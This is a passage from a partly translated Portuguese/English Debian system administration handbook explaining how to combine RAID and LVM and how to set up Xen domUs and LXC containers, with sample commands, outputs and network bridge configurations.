Tanto o RAID quanto o LVM irão trazer vantagens indiscutíveis assim que se deixar o simples caso de um computador de mesa com um único disco rígido, aonde o padrão de uso não muda com o tempo. Contudo, RAID e LVM vão em direções diferentes, com objetivos divergentes, e é legítimo questionar qual deles deve ser adotado. A resposta mais apropriada irá, é claro, depender das necessidades atuais e previstas.

Existem alguns casos simples aonde a questão realmente não surge. Se a necessidade é salvaguardar dados contra falhas de hardware, então, obviamente, o RAID será configurado em uma array redundante de discos, já que o LVM realmente não é designado para esse problema. Se, por outro lado, a necessidade é por um esquema de armazenamento flexível aonde os volumes são feitos independente do layout físico dos disco, o RAID não ajuda muito e o LVM será a escolha natural.

NOTA Se o desempenho importa…

If input/output speed is of the essence, especially in terms of access times, using LVM and/or RAID in one of the many combinations may have some impact on performances, and this may influence decisions as to which to pick. However, these differences in performance are really minor, and will only be measurable in a few use cases. If performance matters, the best gain to be obtained would be to use non-rotating storage media (solid-state drives or SSDs); their cost per megabyte is higher than that of standard hard disk drives, and their capacity is usually smaller, but they provide excellent performance for random accesses. If the usage pattern includes many input/output operations scattered all around the filesystem, for instance for databases where complex queries are routinely being run, then the advantage of running them on an SSD far outweigh whatever could be gained by picking LVM over RAID or the reverse. In these situations, the choice should be determined by other considerations than pure speed, since the performance aspect is most easily handled by using SSDs.

O terceiro caso de uso notável é quando alguém apenas quer agregar dois discos em um volume, seja por questões de desempenho, ou para ter um único sistema de arquivos que seja maior que qualquer dos discos disponíveis. Esse caso pode ser resolvido pelo RAID-0 (ou mesmo um linear-RAID) e por um volume LVM. Quando nesta situação, e salvo restrições extras (por exemplo, manter em sintonia com o resto dos computadores se eles usam apenas RAID), a configuração de escolha irá geralmente ser LVM. A configuração inicial é um pouco mais complexa, mas esse incremento na complexidade mais do que compensado pela flexibilidade extra que o LVM trás caso as necessidades mudem ou se novos discos precisem ser adicionados.

Então, é claro, temos uma caso de uso realmente interessante, aonde o sistema de armazenamento precisa ser feito tanto para resistência de falha de hardware quanto flexível quando se trata de alocação de volume. Nem RAID nem LVM podem atender esses dois requisitos por conta própria; não tem problema, é aqui que nós usamos os dois ao mesmo tempo — ou melhor, um em cima do outro. O esquema que tem tudo, mas só se tornou um padrão quando o RAID e o LVM alcançaram a maturidade, é para garantir a redundância de dados, primeiro pelo agrupamento de discos em um pequeno número de grandes arrays RAID, e para usar essas arrays RAID como volumes físicos LVM; partições lógicas serão então esculpidas a partir desses LVs para sistemas de arquivos. O ponto forte dessa configuração é que, quando um disco falha, apenas um pequeno número das arrays RAID precisará ser reconstruída, limitando assim o tempo gasto pelo administrador para recuperação.

Let's take a concrete example: the public relations department at Falcot Corp needs a workstation for video editing, but the department's budget doesn't allow investing in high-end hardware from the bottom up. A decision is made to favor the hardware that is specific to the graphic nature of the work (monitor and video card), and to stay with generic hardware for storage. However, as is widely known, digital video does have some particular requirements for its storage: the amount of data to store is large, and the throughput rate for reading and writing this data is important for the overall system performance (more than typical access time, for instance). These constraints need to be fulfilled with generic hardware, in this case two 300 GB SATA hard disk drives; the system data must also be made resistant to hardware failure, as well as some of the user data. Edited video clips must indeed be safe, but video rushes pending editing are less critical, since they're still on the videotapes.

O RAID-1 e o LVM são combinados para satisfazer essas restrições. Os discos são anexados a duas controladoras SATA diferentes, para otimizar acesso paralelo e reduzir o risco de falhas simultâneas, e eles portanto aparecem como sda e sdc. Eles são particionados de forma idêntica, seguindo o seguinte esquema:

# sfdisk -l /dev/sda Disk /dev/sda: 894.25 GiB, 960197124096 bytes, 1875385008 sectors Disk model: SAMSUNG MZ7LM960 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: BB14C130-9E9A-9A44-9462-6226349CA012 Device Start End Sectors Size Type /dev/sda1 2048 4095 2048 1M BIOS boot /dev/sda2 4096 100667391 100663296 48G Linux RAID /dev/sda3 100667392 134221823 33554432 16G Linux RAID /dev/sda4 134221824 763367423 629145600 300G Linux RAID /dev/sda5 763367424 1392513023 629145600 300G Linux RAID /dev/sda6 1392513024 1875384974 482871951 230.3G Linux LVM

The first partitions of both disks are BIOS boot partitions.

The next two partitions sda2 and sdc2 (about 48 GB) are assembled into a RAID-1 volume, md0. This mirror is directly used to store the root filesystem.

The sda3 and sdc3 partitions are assembled into a RAID-0 volume, md1, and used as swap partition, providing a total 32 GB of swap space. Modern systems can provide plenty of RAM and our system won't need hibernation. So with this amount added, our system will unlikely run out of memory.

The sda4 and sdc4 partitions, as well as sda5 and sdc5, are assembled into two new RAID-1 volumes of about 300 GB each, md2 and md3. Both these mirrors are initialized as physical volumes for LVM, and assigned to the vg_raid volume group. This VG thus contains about 600 GB of safe space.

The remaining partitions, sda6 and sdc6, are directly used as physical volumes, and assigned to another VG called vg_bulk, which therefore ends up with roughly 460 GB of space.

Uma vez que os VGs sejam criados, eles podem ser particionados de maneira bem flexível. É preciso ter em mente que os LVs criados em vg_raid serão preservados mesmo que um dos discos falhe, o que não será o caso para LVs criados em vg_bulk; por outro lado, o último será alocado em paralelo nos dois discos, o que permite altas velocidades de leitura ou escrita para arquivos grandes.

Portanto nós iremos criar os LVs lv_var e lv_home no vg_raid, para hospedar os sistemas de arquivos correspondentes; outro grande LV, lv_movies, será usado para hospedar as versões definitivas dos filmes após a edição. O outro VG será dividido em um grande lv_rushes, para dados vindos direto das câmeras digitais de vídeo, e um lv_tmp para arquivos temporários. A localização da área de trabalho é uma escolha menos simples de fazer: enquanto bom desempenho é necessário para esse volume, vale o risco de perda de trabalho se uma falha de disco ocorrer durante uma sessão de edição? Dependendo da resposta a essa pergunta, o LV relevante será criado em um VG ou em outro.

Nós agora temos tanto alguma redundância para dados importantes quanto muita flexibilidade no modo como o espaço disponível é dividido entre as aplicações.

NOTA Por que três volumes RAID-1?

Nós poderíamos ter configurado somente um volume RAID-1, para servir como volume físico para vg_raid. Por que criar três deles, então?

A razão para a primeira divisão (md0 vs. os outros) é para segurança de dados: dados escritos nos dois elementos de um espelho RAID-1 são exatamente os mesmos, e é portanto possível ignorar a camada RAID e montar um dos discos diretamente. No caso de um bug no núcleo, por exemplo, ou se os metadados do LVM forem corrompidos, ainda é possível inicializar um sistema mínimo para acessar dados críticos como o layout de discos nos volumes RAID e LVM; os metadados podem então ser reconstruídos e os arquivos podem ser acessados novamente de modo que o sistema pode ser trazido de volta ao seu estado nominal.

The rationale for the second split (md2 vs. md3) is less clear-cut, and more related to acknowledging that the future is uncertain. When the workstation is first assembled, the exact storage requirements are not necessarily known with perfect precision; they can also evolve over time. In our case, we can't know in advance the actual storage space requirements for video rushes and complete video clips. If one particular clip needs a very large amount of rushes, and the VG dedicated to redundant data is less than halfway full, we can re-use some of its unneeded space. We can remove one of the physical volumes, say md3, from vg_raid and either assign it to vg_bulk directly (if the expected duration of the operation is short enough that we can live with the temporary drop in performance), or undo the RAID setup on md3 and integrate its components sda5 and sdc5 into the bulk VG (which grows by 600 GB instead of 300 GB); the lv_rushes logical volume can then be grown according to requirements.

12.2. Virtualização

Virtualização é um dos maiores avanços nos anos recentes da computação. O termo cobre várias abstrações e técnicas de simulação de computadores virtuais com um grau de variabilidade de independência do hardware real. Um servidor físico pode então hospedar vários sistemas que trabalham ao mesmo tempo e em isolamento. As aplicações são muitas, e geralmente derivam a partir desse isolamento: ambientes de teste com configurações variáveis por exemplo, ou separação de serviços hospedados entre diferentes máquinas virtuais para segurança.

Existem múltiplas soluções de virtualização, cada uma com seus prós e contras. Este livro focará no Xen, LXC e KVM, mas outras implementações dignas de nota são as seguintes:

QEMU is a software emulator for a full computer; performances are far from the speed one could achieve running natively, but this allows running unmodified or experimental operating systems on the emulated hardware. It also allows emulating a different hardware architecture: for instance, an amd64 system can emulate an arm computer. QEMU is free software.

→ https://qemu.org/

Bochs é outra máquina virtual livre, mas somente emula as arquiteturas x86 (i386 e amd64).

VMWare is a proprietary virtual machine; being one of the oldest out there, it is also one of the most widely-known. It works on principles similar to QEMU. VMWare proposes advanced features such as “snapshotting“ a running virtual machine.

→ https://vmware.com/

VirtualBox is a virtual machine that is mostly free software (some extra components are available under a proprietary license). Unfortunately it is in Debian's “contrib” section because it includes some precompiled files that cannot be rebuilt without a proprietary compiler and it currently only resides in Debian Unstable as Oracle's policies make it impossible to keep it secure in a Debian stable release (see #794466). While younger than VMWare and restricted to the i386 and amd64 architectures, it still includes some “snapshotting“ and other interesting features.

→ https://www.virtualbox.org/

HARDWARE Suporte a virtualização

Alguns computadores podem não possuir suporte à virtualização em hardware; quando possuem, eles deveriam ser habilitados na BIOS.

Para saber se tens ativado o suporte a virtualização, podes verificar se a opção relevante está habilitada com o grep. Se o seguinte comando para seu processador devolve algum texto, você tem o suporte a virtualização habilitado:

For Intel processors you can execute grep vmx /proc/cpuinfo to check for Intel's Virtual Machine Extensions.

For AMD processors you can execute grep svm /proc/cpuinfo to check for AMD's Secure Virtual Machine.

If that is not the case, you can access the BIOS of your system and check for entries like “Intel Virtualization Technology”/“Intel VT-x” or “SVM mode” (AMD) - usually to be found in the CPU configuration in the Advanced section.

12.2.1. Xen

Xen é uma solução de “paravirtualização”. Ele introduz uma fina camada de abstração, chamada de “hypervisor”, entre o hardware e os sistemas superiores; Ele age como um árbitro que controla o acesso ao hardware feito pelas máquinas virtuais. Entretanto, ele apenas lida com algumas das instruções, o resto é executado diretamente pelo hardware em nome dos sistemas. A principal vantagem é que o desempenho não se degradada, e os sistemas rodam perto da velocidade nativa; a desvantagem é que os núcleos dos sistemas operacionais que alguém deseja usar em um "hypervisor" Xen precisam ser adaptados para rodar o Xen.

Vamos gastar algum tempo com termos. O "hypervisor" é a camada mais baixa, que roda diretamente no hardware, até mesmo abaixo do núcleo. Esse "hypervisor" pode dividir o resto do software entre vários domínios, que podem ser vistos como muitas máquinas virtuais. Um desses domínios (o primeiro que for iniciado) é conhecido como dom0, e tem um papel especial, já que apenas esse domínio pode controlar o "hypervisor" e a execução de outros domínios. Esses outros domínios são conhecidos como domU. Em outras palavras, e a partir do ponto de vista do usuário, o dom0 coincide com o “hospedeiro” de outros sistemas de virtualização, enquanto que o domU pode ser visto como um "convidado" (“guest”).

CULTURA Xen e as várias versões do Linux

O Xen foi inicialmente desenvolvido como um conjunto de patches que viviam fora da árvore oficial, e não integrados ao núcleo Linux. Ao mesmo tempo, vários sistemas de virtualização próximos (incluindo o KVM) necessitavam de algumas funções genéricas relacionadas a virtualização para facilitar suas integrações, e o núcleo Linux ganhou esse conjunto de funções (conhecidas como interface paravirt_ops ou pv_ops). Como os patches Xen estavam duplicando algumas das funcionalidades dessa interface, eles não podiam ser aceitos oficialmente.

Xensource, a companhia por trás do Xen, tinha assim que portar o Xen para esse novo framework, para que os patches do Xen pudessem ser incorporados ao núcleo Linux oficial. Isso significa um monte de códigos reescritos, e embora a Xensource logo tivesse uma versão em funcionamento com base na interface paravirt_ops, os patches foram incorporados no núcleo oficial apenas progressivamente. A fusão foi concluída no Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Como a Jessie é baseada na versão 3.16 do núcleo Linux, os pacotes padrão linux-image-686-pae e linux-image-amd64 incluem o código necessário, e os patches específicos para Squeeze e versões anteriores do Debian não são mais necessárias.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

CULTURA Xen e núcleos não-Linux

O Xen requer modificações em todos os sistemas operacionais em que se queira rodá-lo; nem todos os núcleos têm o mesmo nível de maturidade sobre esse assunto. Muitos são totalmente funcionais, tanto como dom0 quanto domU: Linux 3.0 e posteriores, NetBSD 4.0 e posteriores, e OpenSolaris. Outros apenas funcionam como domU. Você pode verificar o status de cada sistema operacional no wiki do Xen:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

Contudo, se o Xen puder contar com funções de hardware dedicadas a virtualização (que apenas estão presentes em processadores mais recentes), até mesmo sistemas operacionais não modificados podem rodar como domU (incluindo o Windows).

NOTA Arquiteturas compatíveis com Xen

O Xen, atualmente, só está disponível para as arquiteturas i386, amd64, arm64 e armhf.

Utilizar o Xen com o Debian necessita de três componentes:

The hypervisor itself. According to the available hardware, the appropriate package providing xen-hypervisor will be either xen-hypervisor-4.14-amd64, xen-hypervisor-4.14-armhf, or xen-hypervisor-4.14-arm64.

A kernel that runs on that hypervisor. Any kernel more recent than 3.0 will do, including the 5.10 version present in Bullseye.

A arquitetura i386 também requer uma biblioteca padrão com os patches apropriados para aproveitar o Xen; ela está no pacote libc6-xen.

The hypervisor also brings xen-utils-4.14, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the GRUB bootloader menu, so as to start the chosen kernel in a Xen dom0. Note, however, that this entry is not usually set to be the first one in the list, but it will be selected by default.

Uma vez que esses pré-requisitos estejam instalados, o próximo passo é testar o comportamento do próprio dom0; isso envolve uma reinicialização do "hypervisor" e do núcleo Xen. O sistema deverá inicializar da maneira usual, com algumas mensagens extras no console, durante os passo iniciais da inicialização.

Agora é o momento de realmente instalar sistemas úteis nos sistemas domU, usando as ferramentas do xen-tools. esse pacote provê o comando xen-create-image, que automatiza a tarefa em grande parte. O único parâmetro mandatório é o --hostname, dando um nome ao domU; outras opções são importantes, mas podem ser armazenadas no arquivo de configuração /etc/xen-tools/xen-tools.conf, e assim, a ausência dessas opções na linha de comando não dispara um error. É, portanto, importante ou checar o conteúdo desse arquivo antes de criar imagens, ou usar parâmetros extras na invocação do xen-create-image. Parâmetros que são importantes de notar são os seguintes:

--memory, para definir o quantidade de RAM dedicada para o sistema recentemente criado;

--size e --swap, para definir o tamanho dos "discos virtuais" disponíveis para o domU;

--debootstrap-cmd, to specify the which debootstrap command is used. The default is debootstrap if debootstrap and cdebootstrap are installed. In that case, the --dist option will also most often be used (with a distribution name such as bullseye).

Aprofundamento Instalando um sistema não Debian em um domU

Em caso de sistemas não-Linux, um certo cuidado deve ser tomado ao definir qual domU o núcleo deve usar, usando a opção --kernel.

--dhcp define que a configuração de rede do domU deve ser obtida por DHCP enquanto --ip permite a definição estática do endereço IP.

Por fim, um método de armazenamento tem que ser escolhido para as imagens a serem criadas (aquelas que serão vistas como unidades de disco rígido a partir do domU). O método mais simples, que corresponde a opção --dir, é criar um arquivo no dom0 para cada dispositivo que o domU deveria fornecer. Para sistemas que usam o LVM, a alternativa é usar a opção --lvm, seguida pelo nome do grupo de volume; xen-create-image irá então criar um novo volume lógico dentro desse grupo, e esse volume lógico se tornará disponível para o domU como uma unidade de disco rígido.

NOTA Armazenamento em domU

Discos rígidos inteiros também podem ser exportados para o domU, assim como as partições, arrays RAID ou volumes lógicos LVM pré-existentes . Entretanto, essas operações não são automatizadas pelo xen-create-image. Logo, editando o arquivo de configuração de imagem do Xen irá pôr em ordem o arquivo após sua criação inicial com o xen-create-image.

Assim que essas escolhas são feitas, podemos criar uma imagem para o nosso futuro Xen domU:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=bullseye --role=udev General Information -------------------- Hostname : testxen Distribution : bullseye Mirror : http://deb.debian.org/debian Partitions : swap 512M (swap) / 2G (ext4) Image type : sparse Memory size : 256M Bootloader : pygrub [...] Logfile produced at: /var/log/xen-tools/testxen.log Installation Summary --------------------- Hostname : testxen Distribution : bullseye MAC Address : 00:16:3E:C2:07:EE IP Address(es) : dynamic SSH Fingerprint : SHA256:K+0QjpGzZOacLZ3jX4gBwp0mCESt5ceN5HCJZSKWS1A (DSA) SSH Fingerprint : SHA256:9PnovvGRuTw6dUcEVzzPKTITO0+3Ki1Gs7wu4ke+4co (ECDSA) SSH Fingerprint : SHA256:X5z84raKBajUkWBQA6MVuanV1OcV2YIeD0NoCLLo90k (ED25519) SSH Fingerprint : SHA256:VXu6l4tsrCoRsXOqAwvgt57sMRj2qArEbOzHeydvV34 (RSA) Root Password : FS7CUxsY3xkusv7EkbT9yae

Agora temos uma máquina virtual, mas atualmente não está sendo executada (e portanto somente utilizando espaço de disco do dom0). Obviamente, podemos criar mais imagens, possivelmente com parâmetros diferentes.

Antes de ligarmos essas máquinas virtuais, nós precisamos definir como elas serão acessadas. Elas podem, é claro, serem consideradas como máquinas isoladas, apenas acessadas através de seus consoles de sistema, mas isso raramente coincide com o padrão de uso. Na maioria das vezes, um domU será considerado um servidor remoto, e apenas acessado através de uma rede. No entanto, seria bem inconveniente adicionar uma placa de rede para cada; e por isso é que o Xen permite a criação de interfaces virtuais, que cada domínio possa ver e usar da forma padrão. Note que essas interfaces, mesmo que elas sejam virtuais, só serão úteis uma vez conectadas a uma rede, mesmo que virtual. O Xen tem vários modelos de rede para isso:

O modelo mais simples é o modelo de ponte bridge; todos as placas de rede eth0 (tanto no caso do dom0 quanto nos sistemas domU) se comportam como se fossem diretamente conectadas em um switch de rede.

Em seguida vem o modelo routing, onde o dom0 se comporta como um roteador que se põem entre sistemas domU e a rede (física) externa.

Finalmente, no modelo NAT, o dom0 novamente está entre os sistemas domU e o resto da rede, mas os sistemas domU não são diretamente acessíveis por fora, e todo o tráfego vai através de uma tradução de endereços de rede (NAT) para o dom0.

Estes três nós de rede envolvem várias interfaces com nome incomuns, tais como vif*, veth*, peth* e xenbr0. O "hypervisor" Xen organiza-os de acordo com qualquer que seja o layout definido, sob o controle das ferramentas de espaço do usuário. Como o NAT e os modelos de roteamento adaptam-se apenas a casos particulares, nós só iremos abordar o modelo de "bridging".

The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0 taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces (which requires installing the bridge-utils package, which is why the xen-utils package recommends it) to replace the existing eth0 entry (be careful to use the correct network device name):

auto xenbr0 iface xenbr0 inet dhcp bridge_ports eth0 bridge_maxwait 0

Após reinicializar para termos certeza de que a bridge é criada automaticamente, nós podemos iniciar o domU com as ferramentas de controle do Xen, em particular o comando xl. Esse comando permite diferentes manipulações nos domínios, incluindo listá-los e iniciá-los/pará-los. Você talvez precise aumentar a memória padrão, editando a variável de memória do arquivo de configuração (neste caso, /etc/xen/testxen.cfg). Aqui nós definimos para 1024 (megabytes).

# xl list Name ID Mem VCPUs State Time(s) Domain-0 0 3918 2 r----- 35.1 # xl create /etc/xen/testxen.cfg Parsing config from /etc/xen/testxen.cfg # xl list Name ID Mem VCPUs State Time(s) Domain-0 0 2757 2 r----- 45.2 testxen 3 1024 1 r----- 1.3

FERRAMENTA Escolha da toolstacks para gerenciar a VM Xen

In Debian 7 and older releases, xm was the reference command line tool to use to manage Xen virtual machines. It has now been replaced by xl which is mostly backwards compatible. But those are not the only available tools: virsh of libvirt and xe of XenServer's XAPI (commercial offering of Xen) are alternative tools.

ATENÇÃO Somente utilize um domU por imagem!

Enquanto é claro que é possível ter vários sistemas domU rodando em paralelo, eles todos precisarão usar suas próprias imagens, já que cada domU é feito para acreditar que ele roda em sue próprio hardware (fora a pequena parte do núcleo que conversa com o "hypervisor"). Em particular, não é possível para dois sistemas domU rodando simultaneamente, compartilhar espaço de armazenamento. Se os sistemas domU não estiverem rodando ao mesmo tempo, é, no entanto, bem possível reutilizar uma única partição de troca (swap), ou a partição de hospeda o sistema de arquivos /home.

Note que o testxen domU usa memória real, retirada da RAM, que estaria de outra forma disponível para o dom0, não a memória simulada. Portanto, cuidados devem ser tomados quando se constrói um servidor objetivando hospedar instâncias Xen, disponibilizando a RAM física de acordo.

Voilà! Nossa máquina virtual está iniciando. Nós podemos acessá-la de uma de duas maneiras. A maneira usual é se conectar a ela “remotamente” através da rede, como nós nos conectaríamos a uma máquina real; isso geralmente irá requerer a configuração de um servidor DHCP ou alguma configuração de DNS. A outra maneira, que pode ser a única maneira se a configuração de rede estiver incorreta, é usar o console hvc0, com o comando xl console:

# xl console testxen [...] Debian GNU/Linux 11 testxen hvc0 testxen login:

Então pode-se abrir uma sessão, tal como se faria caso se estivesse sentado em frente ao teclado da máquina virtual. Desconectar-se desse console é possível através da combinação de teclas Control+].

DICA Obtendo o console imediatamente

Às vezes existe o desejo de iniciar um sistema domU e ir diretamente para o seu console; é por isso que o comando xl create tem uma opção -c. Iniciar um domU com esse interruptor irá exibir todas as mensagens de inicialização do sistema.

TOOL Graphical Xen managers

OpenXenManager (in the openxenmanager package), a graphical interface allowing remote management of Xen domains via Xen's API, is no longer provided by Debian due to the lack of upstream development. If you are looking for a replacement, virt-manager provides support to handle Xen VMs as well.

Uma vez que o domU está ativo, ele pode ser usado como qualquer outro servidor (a final de contas é um sistema GNU/Linux ). Contudo, seu status de máquina virtual permite algumas características extras. Por exemplo, um domU pode, temporariamente, ser pausado e então retomado através dos comandos xl pause e xl unpause. Note que embora um domU pausado não use qualquer recurso do processador, sua memória alocada ainda está em uso. Talvez possa ser interessante considerar os comandos xl save e xl restore: ao salvar o domU libera-se os recursos que eram usados previamente por esse domU, incluindo a RAM. Quando restaurado (ou retirado da pausa, por assim dizer), um domU não nota nada além da passagem do tempo. Se um domU estava rodando quando o dom0 é desligado,os scripts empacotados automaticamente salvam o domU, e o restaurarão na próxima inicialização. Isso irá, é claro, implicar na inconveniência padrão que ocorre quando se hiberna um computador laptop, por exemplo; em particular, se o domU é suspenso por muito tempo, as conexões de rede podem expirar. Note também que o Xen é, até agora, incompatível com uma grande parte do gerenciamento de energia do ACPI, o que impede suspensão do sistema hospedeiro (dom0).

Interromper ou reinicializar um domU pode ser feito tanto a partir de dentro do domU (com o comando shutdown) quanto a partir do dom0, com o xl shutdown ou xl reboot.

A maioria dos subcomandos xl esperam um ou mais argumentos, muitas vezes um nome domU. Esses argumentos estão bem descritos na página de manual xl(1).

APROFUNDAMENTO Xen avançado

O Xen tem muito mais recursos do que nós podemos descrever nesses poucos parágrafos. Em particular, o sistema é muito dinâmico, e muitos parâmetros para um domínio (como a quantidade de memoria alocada, os discos rígidos visíveis, o comportamento do agendador de tarefas, e assim por diante) podem ser ajustados até mesmo quando esse domínio está rodando. Um domU pode até mesmo ser migrado entre servidores sem ser desligado, e sem perder suas conexões de rede! Para todos esses aspectos avançados, a principal fonte de informação é a documentação oficial do Xen.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

Mesmo que seja usado para construir “máquinas virtuais”, o LXC não é, estritamente falando, um sistema de virtualização, mas um sistema que isola grupos de processos uns dos outros mesmo que eles todos rodem na mesma máquina. Ele tira proveito de um conjunto de evoluções recentes do núcleo Linux, coletivamente conhecidas como grupos de controle, de maneira que diferentes conjuntos de processos chamados de “grupos” têm diferentes visões de certos aspectos do sistema global. Os mais notáveis dentre esses aspectos são os identificadores de processo, a configuração de rede e os pontos de montagem. Tais grupos de processos isolados não terão qualquer acesso a outros processos do sistema, e esses acessos ao sistema de arquivos podem ser restritos a um subconjunto específico. Eles também podem ter sua própria interface de rede e tabela de roteamento, e também podem ser configurados para ver apenas um subconjunto de dispositivos disponíveis presentes no sistema.

Esses recursos podem ser combinados para isolar toda uma família de processos iniciando a partir do processo init, e o conjunto resultante se parece muito com uma máquina virtual. O nome oficial para tal configuração é um “container” (daí o apelido LXC: LinuX Containers), mas uma diferença bastante importante com as máquinas virtuais “reais”, tais como as providas pelo Xen ou KVM é que não há um segundo núcleo; o container usa o mesmo núcleo que o sistema hospedeiro. Isso tem tanto prós quanto contras: as vantagens incluem excelente desempenho devido à total falta de sobrecarga, e o fato que o núcleo tem uma visão global de todos processos rodando no sistema, então o agendamento pode ser mais eficiente do que seria se dois núcleos independentes fossem agendar diferentes conjuntos de tarefas. O principal inconvenientes está na impossibilidade de rodar um núcleo diferente em um container (seja uma versão diferente do Linux ou um sistema operacional diferente por completo).

NOTA limites de isolamento do LXC

Contêineres LXC não provêm o mesmo nível de isolamento conseguido por emuladores ou virtualizadores. Em particular:

já que o núcleo é compartilhado entre o sistema hospedeiro e os contêineres, processos restritos ao contêineres ainda podem acessar mensagens do núcleo, o qual pode levar ao vazamento de informação se as mensagem forem emitidas pelo contêiner;

por razões parecidas, se o contêiner é comprometido e se uma vulnerabilidade do núcleo é explorada, os outros contêineres podem ser afetados também;

no sistema de arquivos, o núcleo verifica as permissões de acordo com os identificadores numéricos para usuários e grupos; esses identificadores podem designar diferentes usuários e grupos dependendo do container, o que deve ser mantido em mente se as partes com permissão de escrita do sistema de arquivos são compartilhadas entre containers.

Como nós estamos lidando com isolamento e não virtualização simples, a criação de containers LXC é mais complexa do que simplesmente rodar o debian-installer em uma máquina virtual. Nós iremos descrever alguns pré-requisitos e, em seguida, iremos para a configuração de rede; para então depois, sermos capazes de realmente criar o sistema para ser rodado no container.

12.2.2.1. Etapas Preliminares

O pacote lxc contém as ferramentas necessárias para executar o LXC, e devem portanto serem instaladas.

O LXC também necessita do sistema de configuração control groups, o qual é um sistema de arquivos virtual que é montado no /sys/fs/cgroup. Como o Debian 8 optou pelo systemd, que também faz uso de "control groups", isso agora é feito automaticamente no momento da inicialização, sem configurações adicionais.

12.2.2.2. Configuração de Rede

O objetivo de instalar o LXC é configurar máquinas virtuais; nós poderíamos, é claro, mantê-las isoladas da rede e apenas nos comunicarmos com elas através do sistema de arquivos, mas a maioria dos casos de uso envolve oferecer acesso mínimo de rede para os contêineres. No caso típico, cada contêiner terá uma interface de rede virtual conectada à rede real através de uma bridge. Essa interface virtual pode ser conectada tanto diretamente na interface de rede física do hospedeiro (e nesse caso o contêiner está diretamente na rede), ou em outra interface virtual definida no hospedeiro (e o hospedeiro pode então filtrar ou rotear o tráfego). Em ambos os casos, o pacote bridge-utils será necessário.

The simple case is just a matter of editing /etc/network/interfaces, moving the configuration for the physical interface (for instance, eth0 or enp1s0) to a bridge interface (usually br0), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:

auto eth0 iface eth0 inet dhcp

Devem ser desabilitados e substituídos pelo seguinte:

auto br0 iface br0 inet dhcp bridge-ports eth0

O efeito dessa configuração será similar ao que seria obtido se os contêineres fossem máquinas conectadas na mesma rede física que a do hospedeiro. A configuração “bridge” gerencia o trânsito dos quadros Ethernet entre todas as interfaces em bridge, o que inclui a eth0 física, assim como as interfaces definidas para os contêineres.

Em casos onde essa configuração não pode ser usada (por exemplo, se nenhum endereço IP público pode ser atribuído aos containers), uma interface virtual tap será criada e conectada à brigde. A topologia de rede equivalente torna-se então de um host com uma segunda placa de rede conectada em um switch separado, com os containers também conectados nesse switch. O host tem então que atuar como um gateway para os containers caso eles sejam feitos para se comunicar com o mundo exterior.

Em adição ao bridge-utils, essa “rica” configuração requer o pacote vde2; o arquivo /etc/network/interfaces então torna-se:

# Interface eth0 is unchanged auto eth0 iface eth0 inet dhcp # Virtual interface auto tap0 iface tap0 inet manual vde2-switch -t tap0 # Bridge for containers auto br0 iface br0 inet static bridge-ports tap0 address 10.0.0.1 netmask 255.255.255.0

A rede então pode ser configurada tanto estaticamente nos contêineres, quanto dinamicamente com um servidor DHCP rodando no host. Tal servidor DHCP deverá ser configurado para responder as consultas na interface br0.

12.2.2.3. Configurando o Sistema

Let us now set up the filesystem to be used by the container. Since this “virtual machine” will not run directly on the hardware, some tweaks are required when compared to a standard filesystem, especially as far as the kernel, devices and consoles are concerned. Fortunately, the lxc package includes scripts that mostly automate this configuration. For instance, the following commands (which require the debootstrap and rsync packages) will install a Debian container:

# lxc-create -n testlxc -t debian debootstrap is /usr/sbin/debootstrap Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ... Downloading debian minimal ... I: Retrieving Release I: Retrieving Release.gpg [...] Download complete. Copying rootfs to /var/lib/lxc/testlxc/rootfs... [...] #

Note que o sistema de arquivo é inicialmente criado em /var/cache/lxc, então é movido para o seu diretório de destino. Isto proporciona a criação de contêineres idênticos mais rapidamente, já que somente um cópia é necessária.

Note que o script de criação de modelo do Debian aceita uma opção --arch para especificar a arquitetura do sistema a ser instalado e uma opção --release caso você queira instalar alguma coisa a mais que a atual versão estável do Debian. Você pode também definir a variável de ambiente MIRROR para apontar para um espelho Debian local.

The lxc package further creates a bridge interface lxcbr0, which by default is used by all newly created containers via /etc/lxc/default.conf and the lxc-net service:

lxc.net.0.type = veth lxc.net.0.link = lxcbr0 lxc.net.0.flags = up

These entries mean, respectively, that a virtual interface will be created in every new container; that it will automatically be brought up when said container is started; and that it will be automatically connected to the lxcbr0 bridge on the host. You will find these settings in the created container's configuration (/var/lib/lxc/testlxc/config), where also the device' MAC address will be specified in lxc.net.0.hwaddr. Should this last entry be missing or disabled, a random MAC address will be generated.

Outra entrada útil nesse arquivo é a configuração de uma nome para o hospedeiro:

lxc.uts.name = testlxc

The newly-created filesystem now contains a minimal Debian system and a network interface.

12.2.2.4. Inicializando o Contêiner

Now that our virtual machine image is ready, let's start the container with lxc-start --name=testlxc.

In LXC releases following 2.0.8, root passwords are not set by default. We can set one running lxc-attach -n testlxc passwd if we want. We can login with:

